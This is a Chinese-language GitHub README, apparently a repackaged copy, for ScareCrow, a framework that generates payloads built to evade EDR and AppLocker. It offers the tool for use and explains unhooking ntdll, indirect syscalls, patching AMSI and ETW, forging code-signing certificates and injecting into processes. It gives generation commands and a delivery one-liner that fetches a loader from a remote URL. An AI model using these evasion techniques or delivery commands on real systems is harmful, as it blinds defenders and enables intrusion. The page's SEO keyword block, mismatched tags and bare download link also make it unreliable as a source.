ZeroDayVPN/ScareCrow-EDR-Evasion-Framework

GitHub: ZeroDayVPN/ScareCrow-EDR-Evasion-Framework

ScareCrow 是一个利用 DLL 侧加载、内存脱钩和间接 syscall 技术来绕过 EDR 与应用白名单的高级 payload 生成框架。

Stars: 0 | Forks: 0

🐦 ScareCrow:高级 EDR 及 AppLocker 绕过框架

一款利用 DLL 侧加载和动态脱钩技术的复杂 payload 生成器

View Repository Archived


🧠 概念概述

欢迎使用 ScareCrow!我专门设计了这个框架来解决现代端点检测与响应(EDR)遥测和应用程序白名单控制。ScareCrow 没有依赖备受审查的注入技术,而是利用 DLL 侧加载技术注入到合法的 Windows 进程中。

注意:最初的 optiv 仓库已被归档。我建议访问 Tylous/ScareCrow 以获取此工具的最新迭代版本。

🎯 核心理念

“干净的执行需要干净的环境。”
大多数 EDR 产品会在进程刚生成时,将它们的 API 钩子放置在系统 DLL(例如 ntdll.dll)中。ScareCrow 基于一个简单但强大的原则运作:在执行任何恶意逻辑之前,在内存中定位这些钩子并强力清除它们。通过 VirtualProtect 恢复内存权限,并用原始字节替换被修改的汇编代码,我们可以在受控进程中致盲 EDR。


🚀 快速入门指南

🧪 依赖与安装

ScareCrow 使用 Golang 编写,需要 Go 1.19.1+。我强烈建议在 macOS 或 Linux 上编译你的加载器,因为 Windows Defender 可能会干扰构建过程。

go get github.com/fatih/color

go get github.com/yeka/zip

go get github.com/josephspurrier/goversioninfo

go get github.com/Binject/debug/pe

go build ScareCrow.go

🖥️ 控制台调用示例

以下是如何生成一个带有 AES 加密、ETW/AMSI 修补以及伪造微软签名属性的 Excel XLL 加载器:

./ScareCrow -I payload.bin -Loader excel -domain microsoft.com -encryptionmode AES -obfu -outpath /tmp/

预期输出 / 流程

[*] Parsing Payload...

[*] Generating Fake Code Signing Certificate...

[*] Compiling Payload into XLL Loader...

[*] Applying Garble Obfuscation...

[+] Success! XLL Payload saved to /tmp/excel_update.xll

📊 系统架构

graph TD

    A[ScareCrow Generator] --> B{EDR Unhooking Strategy}

    B -->|Disk Method| C[Read C:\Windows\System32\.text]

    B -->|KnownDLLs| D[Read from Object Namespace]

    C --> E[Flush Hooks via VirtualProtect]

    D --> E

    E --> F[AMSI & ETW Patching]

    F --> G[Custom Indirect Syscalls]

    G --> H[Decrypt Shellcode AES/RC4]

    H --> I[Execute via RtlCopy / ThreadEx]

🌐 支持的 Loader 矩阵

ScareCrow 不仅仅是投放简单的 `.exe` 文件。我构建它是为了让它能利用多种执行向量无缝融入企业环境中:

Loader 类型 机制 Emoji 备注
控制面板 rundll32.exe 🟢 生成一个隐藏的控制面板小程序。
WScript 免注册 COM 🟢 使用清单文件进行并行加载。
Excel (.xll) 隐藏的 Excel 进程 🟢 强制隐藏的 Excel 实例加载 XLL。
MSIexec 隐藏的安装程序 🟢 生成 MSIExec 以将 DLL 加载到内存中。

✨ 核心特性

🔄 内存中的 EDR 脱钩

我实现了两种主要方法来获取干净的 syscall 桩:Disk(复制位于 System32 中未挂钩 DLL 的 .text 节)和 KnownDLLs(利用 NtOpenSection 映射缓存的操作系统库)。这两种方法都利用间接 syscall 来调用 NtProtectVirtualMemory,彻底绕过基于钩子的防篡改控制。

🌍 AMSI 和 ETW 遥测致盲

默认情况下,ScareCrow 会对反恶意软件扫描接口(AMSI)进行修补,以确保内存中的缓冲区被扫描为“干净”。此外,它还会修补 Windows 事件跟踪(ETW)函数,刷新寄存器并重定向执行流程,从而消除线程创建和内存分配的遥测信号。

🎭 高级 OpSec:证书与属性

为了融入企业环境,ScareCrow 可以使用编译好的 .syso 资源文件来伪造文件属性。它还利用内置的 Go 库(类似于 limelighter)为用户指定的域生成伪造的代码签名证书,或者直接从合法的二进制文件中完整克隆有效的证书。


🛠️ 高级用例

🤖 进程注入规避

ScareCrow 支持安全的进程注入。在注入之前,加载器首先会对自身进行脱钩。然后,它会生成目标进程,使用 WriteProcessMemory 暂时强制将目标内存设为读写权限,清除远程进程中的 EDR 钩子,然后再注入 shellcode —— 从而确保在两个进程中都不会受到 EDR 的干扰。

🧪 远程投递生成

你可以自动生成用于获取并执行加载器的部署单行命令:

./ScareCrow -delivery bits -url https://acme.com/loader.dll -Loader control

支持 BITSAdmin、HTA MSHTA 命令以及 Office 宏。


⚖️ 许可证与法律

🚨 免责声明

本框架的开发和提供严格仅用于授权的红队作战和系统管理测试。
对于未经授权的部署或滥用,开发者不承担任何责任。在没有明确书面许可的网络中,修改系统安全控制、绕过 EDR/AV 软件以及进行进程注入是严格禁止且非法的。


🧰 技术规格

🐛 已知限制与要求

  • Windows 7 / 8.1 稳定性:较旧的操作系统架构在动态重新加载系统 DLL 时可能会出现不稳定。已实现版本检查以防止严重崩溃。
  • Garble 混淆:使用 -obfu 标志会显著增加编译时间,但它会将 Golang 库字符串替换为复杂的运行时解析器,从而大幅减少静态 IOC。

🔗 SEO 关键词(自然融入)

  • EDR 脱钩框架
  • Golang 恶意软件开发
  • DLL 侧加载 payload 生成器
  • 间接 syscall 实现
  • AMSI 和 ETW 绕过工具
  • 进程注入规避
  • 免注册 COM 执行

🔄 下载与贡献

Download

贡献指南

  1. 请将所有的 PR 和 Issue 提交至新的活跃仓库:Tylous/ScareCrow
  2. 在推送更改之前,请确保所有的 Go 模块都能在 Linux/macOS 上成功编译。
  3. 请在启用跟踪的独立沙箱环境中测试你的脱钩逻辑。

ScareCrow —— 让 EDR 领教一下什么叫恐惧。

标签:API接口, EDR绕过, Go语言, 日志审计, 程序破解, 端点可见性, 载荷生成, 高交互蜜罐